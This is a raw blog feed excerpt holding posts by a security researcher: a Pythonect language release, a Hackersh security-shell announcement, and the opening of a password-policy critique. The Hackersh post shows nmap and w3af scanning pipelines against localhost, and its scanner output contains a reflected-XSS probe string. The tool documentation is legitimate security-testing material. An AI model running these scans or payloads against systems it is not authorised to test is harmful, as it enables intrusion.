Continue reading:&amp;nbsp;&lt;a href=&quot;http://blog.safebreach.com/2015/12/02/i-see-your-true-echo_request-patterns-pinging-data-away/&quot;&gt;http://blog.safebreach.com/2015/12/02/i-see-your-true-echo_request-patterns-pinging-data-away/&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.ikotler.org/feeds/7903669417565815281/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.ikotler.org/2015/12/i-see-your-true-echorequest-patterns.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/7903669417565815281'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/7903669417565815281'/><link rel='alternate' type='text/html' href='http://blog.ikotler.org/2015/12/i-see-your-true-echorequest-patterns.html' title='I See Your True ECHO_REQUEST Patterns (Pinging Data Away)'/><author><name>Itzik Kotler</name><uri>http://www.blogger.com/profile/10497840461004186659</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje9BzgkooUnIU73WLFODHbylFlrqjd-gwevMtu2dSD5U6yc769f2QFxwoaeY-RefHpGEwYUDJW4IZ-K4-XhrtlAwGls_WMa9cdIMpAdY6n4wIoZFPUX8yvHCjbZBPtGN4/s220/rsz_p1030336.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5189431754787123106.post-7395810264240037603</id><published>2013-08-07T15:08:00.000+03:00</published><updated>2013-08-07T15:08:13.800+03:00</updated><title type='text'>Pythonect Has New Graphs, Documentation, Tutorial, and More!</title><content type='html'>About two weeks ago I have released a new version of &lt;a href=&quot;http://www.pythonect.org/&quot;&gt;Pythonect&lt;/a&gt; (0.6) with new features, documentation, tutorial, and an (small, but growing) example directory.&lt;br /&gt;
I’d like to take this opportunity to discuss the past, present and future of the Pythonect Project.&lt;br /&gt;
&lt;br /&gt;
Nearly 2 years ago I started working on Pythonect with the intention to help software developers to connect the dots and make mashup, rapid prototyping, and developing scalable distributed applications easy. Pythonect is a new, experimental, general-purpose dataflow programming language based on Python. It aims to combine the intuitive feel of shell scripting (and all of its perks like implicit parallelism) with the flexibility and agility of Python. Pythonect interpreter (and reference implementation) is a free and open source software written completely in Python, and is available under the BSD 3-Clause license.&lt;br /&gt;
&lt;br /&gt;
Why Pythonect? Pythonect, being a dataflow programming language, treats data as something that originates from a source, flows through a number of processing components, and arrives at some final destination. As such, it is most suitable for creating applications that are themselves focused on the &quot;flow&quot; of data. Perhaps the most readily available example of a dataflow-oriented applications comes from the realm of real-time signal processing, e.g. a video signal processor which perhaps starts with a video input, modifies it through a number of processing components (video filters), and finally outputs it to a video display.&lt;br /&gt;
&lt;br /&gt;
As with video, many applications can be expressed as a network of different components that are connected by a number of communication channels. The benefits, and perhaps the greatest incentives, of expressing an application this way is scalability and parallelism. The different components in the network can be maneuvered to create entirely unique dataflows without necessarily requiring the relationship to be hardcoded. Also, the design and concept of components make it easier to run on distributed systems and parallel processors.&lt;br /&gt;
&lt;br /&gt;
Here is the canonical &quot;Hello, world&quot; example program in Pythonect:
&lt;br /&gt;
&lt;pre class=&quot;brush: plain&quot;&gt;&quot;Hello, world&quot; -&amp;gt; print&lt;/pre&gt;
And here is the canonical &quot;Hello, world&quot; multi-threaded example program in Pythonect:
&lt;br /&gt;
&lt;pre class=&quot;brush: plain&quot;&gt;&quot;Hello, world&quot; -&amp;gt; [print, print]&lt;/pre&gt;
Not to mention that you can go from multi-threaded to multi-processed as easy as:
&lt;br /&gt;
&lt;pre class=&quot;brush: plain&quot;&gt;&quot;Hello, world&quot; -&amp;gt; [print &amp;amp;, print &amp;amp;]&lt;/pre&gt;
Or remotely call a procedure using XML-RPC:
&lt;br /&gt;
&lt;pre class=&quot;brush: plain&quot;&gt;&quot;Hello, world&quot; -&amp;gt; print@xmlrpc://localhost:8081&lt;/pre&gt;
The language couldn&#39;t possibly be simpler... 
&lt;br /&gt;
Okay, so what&#39;s new you&#39;re asking? &lt;b&gt;*I was wrong*&lt;/b&gt;, it can be simpler, and it is in Pythonect version 0.6 :-)&lt;br /&gt;
&lt;br /&gt;
In Pythonect 0.6.0 I have re-written the engine and some large parts of the backend. Pythonect is now using graph (&lt;a href=&quot;http://networkx.github.io/documentation/latest/reference/classes.digraph.html?highlight=digraph#networkx.DiGraph&quot;&gt;NetworkX. DiGraph&lt;/a&gt;) as its data structure, and it&#39;s also supporting multiple file formats as an input. Currently, Pythonect (since version 0.6) supports 3 file formats:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;*.P2Y (text-based scripting language aims to combine the quick and intuitive feel of shell scripting, with the power of Python)&lt;/li&gt;
&lt;li&gt;*.DIA (visual programming language enabled by &lt;a href=&quot;https://wiki.gnome.org/Dia&quot;&gt;Dia&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;*.VDX (visual programming language enabled by Microsoft Visio XML)&lt;/li&gt;
&lt;/ul&gt;
In other words:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDpPQW4LoWV9FVd4MHVX1OeHQLXxRc_Ydx4tEbIpmtspp3ULZs7DBtFtaDyxpmxT8gInjEqY_GiRz5k6DBzrfgEgYcztzaP5Wr-itBnSs0I9ED5OC9Vl101GwmpVIjPAumc1pW3CLI6bQ/s142/HelloWorld_single.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDpPQW4LoWV9FVd4MHVX1OeHQLXxRc_Ydx4tEbIpmtspp3ULZs7DBtFtaDyxpmxT8gInjEqY_GiRz5k6DBzrfgEgYcztzaP5Wr-itBnSs0I9ED5OC9Vl101GwmpVIjPAumc1pW3CLI6bQ/s142/HelloWorld_single.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
is equal to:
&lt;br /&gt;
&lt;pre class=&quot;brush: plain&quot;&gt;&quot;Hello, world&quot; -&amp;gt; print&lt;/pre&gt;
And vice versa. You can launch (almost) any graph/diagram editor and save a graph/diagram as *.VDX or *.DIA format and Pythonet will be able to parse and run it (even if it&#39;s gzipped!). Curious to see how a multi-threading/processing graph looks like? See below!&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzYFR8O5MmCVbqwcOA45x08SdSIjNHcnz4-VBi3WEkypAt5TNocsbZ3VHBmXKU4o_wDnN1RWbOQto88taTyiDS2ED9CQc2IuAzj8d-yKR9y8qSIlYq7OHUodWkeUX91HbiKx5lLNTXOis/s238/HelloWorld_multi.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzYFR8O5MmCVbqwcOA45x08SdSIjNHcnz4-VBi3WEkypAt5TNocsbZ3VHBmXKU4o_wDnN1RWbOQto88taTyiDS2ED9CQc2IuAzj8d-yKR9y8qSIlYq7OHUodWkeUX91HbiKx5lLNTXOis/s238/HelloWorld_multi.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Yup, it&#39;s that simple. One node with two edges. The graph above is equal to:&lt;br /&gt;
&lt;pre class=&quot;brush: plain&quot;&gt;&quot;Hello, world&quot; -&amp;gt; [print, print]&lt;/pre&gt;
Which is the canonical &quot;Hello, world&quot; multi-threaded example program. Now, another issue that I have addressed in this release is the &lt;i&gt;reduce&lt;/i&gt; functionally.&lt;br /&gt;
The famous &lt;i&gt;reduce&lt;/i&gt; from big data. Let&#39;s say that we want to write a program that will add one to every integer input and eventually sum all the results:
&lt;br /&gt;
&lt;pre class=&quot;brush: plain&quot;&gt;[1,2,3] -&amp;gt; _ + 1 -&amp;gt; sum -&amp;gt; print&lt;/pre&gt;
The above example won&#39;t work because Pythonect maps (think MapReduce) each iterable value to its own thread, so &lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;i&gt;&lt;/i&gt;the &lt;i&gt;sum&lt;/i&gt; function will actually receive 2, 3, 4 separately and not as a list. A workaround for this will be:
&lt;br /&gt;
&lt;pre class=&quot;brush: plain&quot;&gt;sum(`[1,2,3] -&amp;gt; _+1`) -&amp;gt; print&lt;/pre&gt;
But with the new &lt;i&gt;reduce&lt;/i&gt; functionally in Python 0.6, it is as easy as:
&lt;br /&gt;
&lt;pre class=&quot;brush: plain&quot;&gt;[1,2,3] -&amp;gt; _ + 1 -&amp;gt; sum(_!) -&amp;gt; print&lt;/pre&gt;
By using the &lt;i&gt;_!&lt;/i&gt; Identifier, the Pythonect interrupter will automatically join all the values (and threads/processes) into a single list and pass it to the Python function without any prerequisites. The same applies when using a graph:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQP1u5mKhvSpG7q4DPSW8g_CSIWLpLYB1TkMq3nf6jqQ0ilbUjOB3NRssO5sULgyCqLgmSHSAbMAyjPVHQ-jR3XtfvBLiWR-LUXgUbt04D5dMqU3-z5FSNEuj06lnD2yYFbyvjEATC8G4/s347/sum.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQP1u5mKhvSpG7q4DPSW8g_CSIWLpLYB1TkMq3nf6jqQ0ilbUjOB3NRssO5sULgyCqLgmSHSAbMAyjPVHQ-jR3XtfvBLiWR-LUXgUbt04D5dMqU3-z5FSNEuj06lnD2yYFbyvjEATC8G4/s347/sum.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
is equal to:&lt;br /&gt;
&lt;pre class=&quot;brush: plain&quot;&gt;[1,2,3] -&amp;gt; _ + 1 -&amp;gt; sum(_!) -&amp;gt; print&lt;/pre&gt;
Now let&#39;s talk about the future of Pythonect. Here&#39;s a link to the &lt;a href=&quot;https://github.com/ikotler/pythonect/blob/master/TODO.rst&quot;&gt;TODO list&lt;/a&gt;, where you can find future directions. In a nutshell, more graphs, more Python implementation support, and more Service-oriented architecture (SOA).&lt;br /&gt;
&lt;br /&gt;
Right now, the biggest application of Pythonect (to the best of my knowledge) is my second project, &lt;a href=&quot;http://www.hackersh.org/&quot;&gt;Hackersh&lt;/a&gt;. Hacker Shell (hackersh) is a free and open source command-line shell and scripting language designed especially for security testing. It is written in Python and uses Pythonect as its scripting engine. The upcoming release of Hackersh (work in progress!) will also enjoy the Pythonect 0.6 features such as graphs (*.VDX and *.DIA) as scripts and a better &lt;i&gt;reduce&lt;/i&gt; functionally.&lt;br /&gt;
&lt;br /&gt;
To learn more about Pythonect, please visit its homepage: &lt;a href=&quot;http://www.pythonect.org/&quot;&gt;http://www.pythonect.org&lt;/a&gt; and be sure to check out the new documentation at: &lt;a href=&quot;http://docs.pythonect.org/en/latest/&quot;&gt;http://docs.pythonect.org/en/latest/&lt;/a&gt; where you can find an up-to-date tutorial and installation instructions.
&lt;br /&gt;
&lt;br /&gt;
That&#39;s all for now!</content><link rel='replies' type='application/atom+xml' href='http://blog.ikotler.org/feeds/7395810264240037603/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.ikotler.org/2013/08/pythonect-has-new-graphs-documentation.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/7395810264240037603'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/7395810264240037603'/><link rel='alternate' type='text/html' href='http://blog.ikotler.org/2013/08/pythonect-has-new-graphs-documentation.html' title='Pythonect Has New Graphs, Documentation, Tutorial, and More!'/><author><name>Itzik Kotler</name><uri>http://www.blogger.com/profile/10497840461004186659</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje9BzgkooUnIU73WLFODHbylFlrqjd-gwevMtu2dSD5U6yc769f2QFxwoaeY-RefHpGEwYUDJW4IZ-K4-XhrtlAwGls_WMa9cdIMpAdY6n4wIoZFPUX8yvHCjbZBPtGN4/s220/rsz_p1030336.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDpPQW4LoWV9FVd4MHVX1OeHQLXxRc_Ydx4tEbIpmtspp3ULZs7DBtFtaDyxpmxT8gInjEqY_GiRz5k6DBzrfgEgYcztzaP5Wr-itBnSs0I9ED5OC9Vl101GwmpVIjPAumc1pW3CLI6bQ/s72-c/HelloWorld_single.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5189431754787123106.post-8204164496413120994</id><published>2013-04-03T12:42:00.000+03:00</published><updated>2013-04-03T12:42:00.611+03:00</updated><title type='text'>Hackersh 0.1 Release Announcement</title><content type='html'>I am pleased to announce the Official 0.1 launch of &lt;a href=&quot;http://www.hackersh.org&quot;&gt;Hackersh&lt;/a&gt; (&quot;Hacker Shell&quot;) - a shell (command interpreter) written in Python with built-in security commands, and out of the box wrappers for various security tools. It uses Pythonect as its scripting engine. Since it&#39;s the first release of Hackersh, I&#39;d like to take this opportunity to explain how it works and why you should be using it.&lt;br /&gt; 
&lt;br /&gt;
Hackersh is an interactive console for security research and testing. It uses Pythonect as its scripting language. &lt;a href=&quot;http://www.pythonect.org&quot;&gt;Pythonect&lt;/a&gt; is a new, experimental, general-purpose high-level dataflow programming language based on Python. It aims to combine the intuitive feel of shell scripting (and all of its perks like implicit parallelism) with the flexibility and agility of Python. The combination of the two makes:&lt;br /&gt;
&lt;pre class=&quot;brush: plain&quot;&gt;&quot;http://localhost&quot; -&gt; url -&gt; nmap -&gt; w3af -&gt; print&lt;/pre&gt;
Return something like this:
&lt;pre class=&quot;brush: plain&quot;&gt;
+------------------------------------------------------------------------------+-----------------------------------------------------------------+
| VULNERABILITY DESCRIPTION                                                    | URL                                                             |
+------------------------------------------------------------------------------+-----------------------------------------------------------------+
| Cross Site Scripting was found at:                                           | http://localhost:8080/black/vulnerabilities/xss_r/              |
| &quot;http://localhost:8080/black/vulnerabilities/xss_r/&quot;, using HTTP method GET. |                                                                 |
| The sent data was:                                                           |                                                                 |
| &quot;name=%3CSCrIPT%3Efake_alert%28%22v3bd%22%29%3C%2FSCrIPT%3E&quot;. This           |                                                                 |
| vulnerability affects ALL browsers                                           |                                                                 |
+------------------------------------------------------------------------------+-----------------------------------------------------------------+
| The whole target has no protection (X-Frame-Options header) against          | Undefined                                                       |
| ClickJacking attack                                                          |                                                                 |
+------------------------------------------------------------------------------+-----------------------------------------------------------------+
| &quot;X-Powered-By&quot; header for this HTTP server is: &quot;PHP/5.3.3-7+squeeze3&quot;        | Undefined                                                       |
+------------------------------------------------------------------------------+-----------------------------------------------------------------+
| The server header for the remote web server is: &quot;Apache/2.2.16 (Debian)&quot;     | Undefined                                                       |
+------------------------------------------------------------------------------+-----------------------------------------------------------------+
| An error page sent this Apache version: &quot;addressApache/2.2.16 (Debian)       | http://localhost:8080/black/vulnerabilities/xss_r/_vti_inf.html |
| Server at localhost Port 8080/address&quot;                                       |                                                                 |
+------------------------------------------------------------------------------+-----------------------------------------------------------------+
| The remote Web server sent a strange HTTP response code: &quot;405&quot; with the      | http://localhost:8080/black/vulnerabilities/xss_r/GeBrG         |
| message: &quot;Method Not Allowed&quot;, manual inspection is advised                  |                                                                 |
+------------------------------------------------------------------------------+-----------------------------------------------------------------+
| The remote Web server sent a strange HTTP reason message: &quot;The HTTP server   | http://localhost:8080/black/login.php                           |
| returned a redirect error that would lead to an infinite loop. The last 30x  |                                                                 |
| error message was: Found&quot; manual inspection is advised                       |                                                                 |
+------------------------------------------------------------------------------+-----------------------------------------------------------------+
| The remote Web server has a custom configuration, in which any non existent  | http://localhost:8080/black/vulnerabilities/xss_r/              |
| methods that are invoked are defaulted to GET instead of returning a &quot;Not    |                                                                 |
| Implemented&quot; response                                                        |                                                                 |
+------------------------------------------------------------------------------+-----------------------------------------------------------------+
| The URL: &quot;http://localhost:8080/black/vulnerabilities/xss_r/&quot; sent the       | http://localhost:8080/black/vulnerabilities/xss_r/              |
| cookie: &quot;security=low&quot;                                                       |                                                                 |
+------------------------------------------------------------------------------+-----------------------------------------------------------------+
| The URL: &quot;http://localhost:8080/black/index.php&quot; sent the cookie:            | http://localhost:8080/black/index.php                           |
| &quot;PHPSESSID=lut893qvd4gdngp1rud5ei8pc2; path=/&quot;                               |                                                                 |
+------------------------------------------------------------------------------+-----------------------------------------------------------------+
| A cookie matching the cookie fingerprint DB has been found when requesting   | http://localhost:8080/black/index.php                           |
| &quot;http://localhost:8080/black/index.php&quot; . The remote platform is: &quot;PHP&quot;      |                                                                 |
+------------------------------------------------------------------------------+-----------------------------------------------------------------+
&lt;/pre&gt;
So, how does it work? As a dataflow programming language, Pythonect  treats data as something that originates from a source - it flows through a number of processing components and arrives at a final destination. As such, it is most suitable for creating applications that are themselves focused on the &quot;flow&quot; of data. Perhaps the most readily available example of a dataflow-oriented application comes from the realm of real-time signal processing, e.g. a video signal processor which starts with a video input, modifies it through a number of processing components (i.e. video filters), and finally outputs it to a video display.&lt;br /&gt;
&lt;br /&gt;
As with video, penetration testing (and other security domains) can be expressed as a network of different components such as: targets, network scanners, web security scanners, etc, connected by a number of communication channels. These components (and more) are provided by Hackersh, and can be either internal (e.g. &lt;i&gt;url&lt;/i&gt; is an internal component that converts String to URL) or external (e.g. &lt;i&gt;nmap&lt;/i&gt; is a wrapper around the Nmap security scanner). Every Hackersh component (except the Hackersh Root Component) is standardized to accept and return a context. Context is a dict (i.e. associative array) that can be piped through different components, just like text can be piped through different Unix tools (e.g. cat, grep, wc, and etc.).&lt;br /&gt;
&lt;br /&gt;
Back to real life examples, here is how you can pass command line arguments to an external Hackersh component (e.g. &lt;i&gt;nmap&lt;/i&gt;):
&lt;pre class=&quot;brush: plain&quot;&gt;&quot;http://localhost&quot; -&gt; url -&gt; nmap(&quot;-sS -P0 -T3&quot;) -&gt; w3af -&gt; print&lt;/pre&gt;
Here is how you can debug a Hackersh component:
&lt;pre class=&quot;brush: plain&quot;&gt;&quot;http://localhost&quot; -&gt; url -&gt; nmap(&quot;-sS -P0 -T3&quot;, debug=True) -&gt; w3af -&gt; print&lt;/pre&gt;
Please note that this is not a component-specific option as almost every Hackersh component can be debugged this way.&lt;br /&gt;
&lt;br /&gt;
Moving on to more advanced options:
&lt;pre class=&quot;brush: plain&quot;&gt;&quot;http://localhost&quot; -&gt; url -&gt; nmap(&quot;-sS -P0 -T3&quot;) -&gt; [_[&#39;PORT&#39;] == &#39;8080&#39; and _[&#39;SERVICE&#39;] == &#39;HTTP&#39;] -&gt; w3af -&gt; print&lt;/pre&gt;
Support for Metadata is a major strength of Hackersh as it enables potential AI applications to fine-tune their service selection strategy based on service-specific characteristics.&lt;br /&gt;
&lt;pre class=&quot;brush: plain&quot;&gt;&quot;http://localhost&quot; -&gt; url -&gt; [nmap, pass] -&gt; amap&lt;/pre&gt;
The script above is an example for a multithreaded application. It scans &lt;i&gt;http://localhost&lt;/i&gt; alternately, using &lt;i&gt;nmap&lt;/i&gt; + &lt;i&gt;amap&lt;/i&gt; and &lt;i&gt;amap&lt;/i&gt;. The output is:
&lt;pre class=&quot;brush: plain&quot;&gt;
http://localhost
  +-3306/tcp (MYSQL)
  +-25/tcp (SMTP)
  +-25/tcp (NNTP)
  +-902/tcp (VMWARE-AUTHD)
  +-21/tcp (FTP)
  +-21/tcp (SMTP)
  +-22/tcp (SSH)
  +-22/tcp (SSH-OPENSSH)
  +-80/tcp (HTTP)
  +-80/tcp (HTTP-APACHE-2)
  +-80/tcp (HTTP)
  +-80/tcp (HTTP-APACHE-2)
  +-631/tcp (HTTP)
  +-631/tcp (HTTP-APACHE-2)
  +-631/tcp (HTTP-CUPS)
  +-8080/tcp (HTTP)
  +-631/tcp (SSL)
  +-8080/tcp (HTTP)
  +-8080/tcp (HTTP-APACHE-2)
  +-53/tcp (DNS)
  +-8080/tcp (HTTP-APACHE-2)
  +-2222/tcp (SSH)
  +-2222/tcp (SSH-OPENSSH)
  +-3000/tcp (HTTP)
  +-111/tcp (RPC)
  `-111/tcp (RPC-RPCBIND-V4)
&lt;/pre&gt;
To read more about Pythonect&#39;s multi-thread and multi-process capabilities, please visit &lt;a href=&quot;https://github.com/ikotler/pythonect/wiki/Pythonect-Tutorial:-Learn-By-Example&quot;&gt;Pythonect Tutorial: Learn By Example&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
External Hackersh components (sorted by alphabetical order) supported in this version include:
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.thc.org/thc-amap/&quot;&gt;Amap&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Nbtscan&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.cirt.net/nikto2&quot;&gt;Nikto&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.nmap.org&quot;&gt;Nmap&lt;/a&gt;&lt;/li&gt;    
&lt;li&gt;Ping&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://sqlmap.org/&quot;&gt;Sqlmap&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://w3af.org/&quot;&gt;W3af&lt;/a&gt;&lt;/li&gt;    
&lt;li&gt;&lt;a href=&quot;http://xprobe.sourceforge.net/&quot;&gt;Xprobe2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
As well as the internal Hackersh components (in alphabetical order) supported in this version include:
&lt;ul&gt;
&lt;li&gt;Hostname&lt;/li&gt;
&lt;li&gt;IPv4_Address&lt;/li&gt;
&lt;li&gt;IPv4_Range (supports CIDR, Netmask Source-IP Notation, IP Range and etc.)&lt;/li&gt;
&lt;li&gt;Nslookup&lt;/li&gt;
&lt;li&gt;Stateful programmatic Web Browser (i.e. Browse, Submit, and Iterate_Links)&lt;/li&gt;
&lt;li&gt;URL&lt;/li&gt;
&lt;/ul&gt;
To familiarize yourself with Pythonect, you should also read these other blog posts: 
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.ikotler.org/2012/12/scraping-linkedin-public-profiles-for.html&quot;&gt;Scraping LinkedIn Public Profiles (using Pythonect) for Fun and Profit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.ikotler.org/2012/09/fuzzing-like-boss-with-pythonect.html&quot;&gt;Fuzzing Like A Boss with Pythonect &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.ikotler.org/2012/08/automated-static-malware-analysis-with.html&quot;&gt;Automated Static Malware Analysis with Pythonect&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
Make sure you check out these resources as well.
&lt;ul&gt;
&lt;li&gt;GitHub &lt;a href=&quot;https://github.com/ikotler/hackersh/issues?direction=desc&amp;sort=created&amp;state=open&quot;&gt;Issues Tracker&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Twitter &lt;a href=&quot;https://twitter.com/hackershell&quot;&gt;@hackershell&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
Good luck, and May the Force be with you!</content><link rel='replies' type='application/atom+xml' href='http://blog.ikotler.org/feeds/8204164496413120994/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.ikotler.org/2013/04/hackersh-01-release-announcement.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/8204164496413120994'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/8204164496413120994'/><link rel='alternate' type='text/html' href='http://blog.ikotler.org/2013/04/hackersh-01-release-announcement.html' title='Hackersh 0.1 Release Announcement'/><author><name>Itzik Kotler</name><uri>http://www.blogger.com/profile/10497840461004186659</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje9BzgkooUnIU73WLFODHbylFlrqjd-gwevMtu2dSD5U6yc769f2QFxwoaeY-RefHpGEwYUDJW4IZ-K4-XhrtlAwGls_WMa9cdIMpAdY6n4wIoZFPUX8yvHCjbZBPtGN4/s220/rsz_p1030336.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5189431754787123106.post-5635313350701662392</id><published>2013-02-10T20:52:00.001+02:00</published><updated>2013-02-10T20:52:34.387+02:00</updated><title type='text'>Password Policy: You Are Doing It Wrong (When 2^56 Becomes 2^42)</title><content type='html'>They say the road to hell is paved with good intentions. This is often the case with non-standard password policies. About a month ago I visited my &quot;favorite airplane company&quot; website, and after successfully logging with my Frequent Flyer credentials, I&#39;ve been redirected to an Update Password page where I&#39;ve been asked to change my password according to the following criteria:&lt;br /&gt;
&lt;br /&gt;&lt;i&gt;&lt;b&gt;
Please insert an 8 characters password&lt;br /&gt;
The 4 first characters need to include at least 2 letters (A-Z)&lt;br /&gt;
The last 4 characters must be all digits&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;br /&gt;
At first sight this may seem like a good password policy, 8 characters long password, must include at least 2 A-Z letters, must include at least 4 digits. But is it really going to result in a strong password?&lt;br /&gt;
&lt;br /&gt;
The answer is no, and to understand why, it is necessary to understand how brute-force attack works. Brute-force attack consists of systematically trying all possible passwords until the correct password is found. In the worst case, this would involve traversing the entire search space. Now, the more search space there is, the longer (run time) it will take the brute-force to cover it. This doesn&#39;t guarantee that a given password won&#39;t be the 1st or 2nd option in the search space, but statistically speaking, if there are more options - then there are more passwords combinations to check for.&lt;br /&gt;
&lt;br /&gt;
